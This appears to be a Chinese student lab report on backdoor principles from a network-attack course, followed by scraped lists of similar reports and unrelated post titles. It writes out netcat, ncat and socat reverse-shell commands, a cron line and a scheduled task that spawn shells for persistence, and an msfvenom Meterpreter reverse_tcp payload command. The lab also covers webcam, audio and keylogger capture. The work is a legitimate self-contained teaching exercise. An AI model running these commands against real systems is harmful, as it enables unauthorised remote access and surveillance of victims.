后门原理与应用


实验内容

  1. 使用netcat获取主机操作Shell,cron启动
  2. 使用Socat获取主机操作Shell, 任务计划启动
  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

基础问题回答

  1. 例举你能想到的一个后门进入到你系统中的可能方式?

    1. 在网上下载的一些软件,会带有后门
    2. 系统会自带后门
    3. 通过U盘传播
  2. 例举你知道的后门如何启动起来(win及linux)的方式?

    1. windows的定时任务
    2. linux的cron
    3. 社会工程学,让用户点击运行
  3. Meterpreter有哪些给你映像深刻的功能?

    1. 开始界面真的很酷炫???(咳咳咳……
    2. 摄像头权限的获得,平时我自己的电脑一般都是处于开启或者休眠的状态(重新开机,启动软件太麻烦),摄像头权限一旦被他人获得,会暴露自己的隐私,生活环境,有一种时刻会被人监视的诡异感(=.=|……
  4. 如何发现自己有系统有没有被安装后门?

    1. 安装杀毒软件,定时检查自己的电脑

    2. 保持自己电脑的windows defender处于开启的状态

      能够及时的发现后门,并删除。


常用后门工具

Netcat

参考资料:

Netcat简介

Linux系统终端命令:netcat的基本使用

关于netcat,找了一些专门介绍的博客,netcat是一个通过TCP/UDP在网络中进行读写数据工具,被称为“瑞士军刀”,主要用于调试领域、传输领域甚至黑客攻击领域。利用该工具,可以将网络中一端的数据完整的发送至另一台主机终端显示或存储,常见的应用为文件传输、与好友即时通信、传输流媒体或者作为用来验证服务器的独立的客户端。

主要功能

  • 支持连出和连入(outbound and inbound connection),TCP和UDP,任意源和目的端口
  • 全部DNS正向/反向检查,给出恰当的警告
  • 使用任何源端口
  • 使用任何本地设置的网络资源地址
  • 内建端口扫描功能,带有随机数发生器
  • 内建loose source-routing功能
  • 可能标准输入读取命令行参数
  • 慢发送模式,每N秒发送一行
  • 以16进制显示传送或接收的数据
  • 允许其它程序服务建立连接,可选
  • 对Telnet应答,可选

netcat在kali里可以直接使用,windows中需要下载后使用(Socat同理)。

它的简单使用过程在下面实践过程记录中会有详细的介绍。

Socat

参考资料:

socat的安装与使用

Netcat++,超级netcat工具

MSFmeterpreter

参考资料:

后渗透之meterpreter使用攻略

这是一个生成后门程序的平台,把后门的基本功能(基本的连接、执行指令),扩展功能(如搜集用户信息、安装服务等功能),编码模式,运行平台,以及运行参数,全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

本次实验主要用Metaspolit的msfvenom指令来生成一个后门可执行文件。


实践过程记录

写在前面的话:在本次实验中我一开始用的是本机作为windows端,但是由于我的win10是家庭版,windows defender不能完全关闭,在设置文件夹信任之后,权限又出现了问题,所以,后来在完成任务四时,切到了虚拟机来完成。以下是我的三个端的IP地址

本机windows 172.16.2.51

虚拟机kali 192.168.139.138

虚拟机windows7 192.168.139.140

1.后门工具熟悉

1.1Win获得Linux Shell

  1. windows端进入netcat文件的位置,使用命令行输入 ncat.exe -l -p 5211,打开监听,其中,5211为监听的端口。

  1. linux端在命令行输入 nc 192.168.20.175 5211 -e /bin/sh,反弹连接Windows端。

  1. 此时windows下就已经获得了linux shell,可以通过windows端的命令行实现对linux的操作啦~

1.2Linux获得Win Shell

这个操作与上一个操作类似了,以下主要过程:

  1. Linux运行监听指令,指令为:nc -l -p 5211

  1. windows反弹连接linux,指令为 :ncat.exe -e cmd.exe 192.168.139.138 5211

  1. 此时linux下就获得了windows的控制权,可以通过linux来控制windows主机了

1.3使用netcat传输数据

  1. 在windows下输入命令:ncat.exe -l 5211,实现监听5211端口

  1. Kali下输入ncat 172.16.2.51 5211,连接到windows的5211端口,输入一些数据

  1. 随后我们就可以看到,已经实现了linux和windows之间的数据传输啦~

2.使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令

  1. windows端下,输入命令ncat.exe -l -p 5211,监听本机的5211端口。

  1. 在kali端下,输入crontab -e,实现编辑一条定时任务。

  2. 打开后,在最后一行添加 命令 05 * * * * /bin/netcat 172.16.2.51 5211 -e /bin/sh,即为每小时的5分运行此命令。

  1. 此时,可以看到,在windows端已经获得了linux的shell(ls 输多了的后果……

3.使用Socat获取主机操作Shell, 任务计划启动

  1. 在windows系统下,计算机管理-->任务计划程序-->创建任务

  2. 新建触发器,选择,当工作站锁定时。

  3. 在操作中,将程序或脚本中选择socat.exe路径,参数一栏填写tcp-listen:5211 exec:cmd.exe,pty,stderr

  1. 完成创建,即可在将Windows主机锁定重启之后,查看任务栏工作状态,发现我们新建的任务已经开始运行。

  1. 在kali环境下输入socat - tcp:172.16.2.51:5211,即可获得windows的shell。

4. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  1. 使用msfvenom指令生成一个后门程序。msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.138 LPORT=5211 -f exe > 20165211_Akashi.exe

  1. 通过nc将生成的可执行文件发送到目标windows端

    Kali端:

windows端:

kali端:

  1. kali端使用msfconsole指令进入msf控制台,设置各项参数。执行监听

  1. 在windows端运行后门程序

  1. 则此时在kali上已经获得Windows的shell

5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  1. 获取目标主机音频

  1. 获取目标主机摄像头

  1. 获取目标主机击键记录


实验总结与体会

遇到问题

在尝试获取主机摄像头时,出现了如下错误

检查后发现,虚拟的摄像头未分配,将虚拟机的摄像头打开后即可正常运行。

实验体会

在本次实验中,在体验了MSF的功能之后,虽然是一场自己打自己的过程,但是在现实中,如果不注意信息安全,没有安全意识,这样简单的过程,其实完全可以完成一场完整的黑客行为。(默默关掉了摄像头……)

还是要注意自己的信息安全,不随意使用来路不明的U盘,不点击有危险的文件,网络危机四伏,还是要时刻注意的。

2018-2019-2 《网络对抗技术》Exp2 后门原理与应用 20165211的更多相关文章

  1. 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

    2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...

  2. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155320《网络对抗》Exp2 后门原理与实践

    20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...

  4. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  5. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  6. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  7. 20155202 张旭《网络对抗》Exp2 后门原理与实践

    20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...

  8. 20155218《网络对抗》Exp2 后门原理与实践

    20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...

  9. 20155227《网络对抗》Exp2 后门原理与实践

    20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...

  10. 20155232《网络对抗》Exp2 后门原理与实践

    20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...

随机推荐

  1. android hook native函数

    大概2年前写的代码,今天突然要用到,找了半天,这里记录下 用到的库: https://pan.baidu.com/s/1htuUQX2 #include <jni.h> #include ...

  2. cocos2d JS 使用代码判断对象类型

    changeAtlasScoreString : function (score,tfScore) { if(tfScore.getDescription() == "LabelAtlas& ...

  3. 用int还是用Integer?

    昨天例行code review时大家有讨论到int和Integer的比较和使用. 这里做个整理,发表一下个人的看法.   [int和Integer的区别] int是java提供的8种原始类型之一,ja ...

  4. 18.搭建 vue 环境

    第一步 node环境安装 1.1 如果本机没有安装node运行环境,请下载node 安装包进行安装1.2 如果本机已经安装node的运行换,请更新至最新的node 版本下载地址:https://nod ...

  5. Windows搭建react-native开发环境

    一.目标平台 windows+android 1. 必须软件 python2+ nodejs npm 2. 安装react-native命令行 $ npm install -g react-nativ ...

  6. SpringBoot返回json格式到浏览器上,出现乱码问题

    在对应的Controller上的requestMapping中添加: @RestController@EnableAutoConfiguration@RequestMapping(value = &q ...

  7. SQL中的关联更新和关联删除

    在SQL中,经常用到关联查询,比如select a.* from A a inner join B b on a.PId=b.FId where 条件,SQL中也支持类似的关联更新和关联删除. 关联更 ...

  8. c#之根据出生日期获得星座信息

    星座定义如下: 代码如下: public enum Constellation { Aquarius = , // 水瓶座 1.20 - 2.18 Pisces = , // 双鱼座 2.19 - 3 ...

  9. spring自带的定时任务功能@EnableScheduling

    1 demo package com.test.domi.config; import org.springframework.beans.factory.annotation.Configurabl ...

  10. Python全栈-库的操作

    一.系统数据库 安装数据库系统后,系统自带的数据库.通过mysql客户端连接数据库系统后,使用show命令可查看系统中存在的所有库: mysql> show databases; +------ ...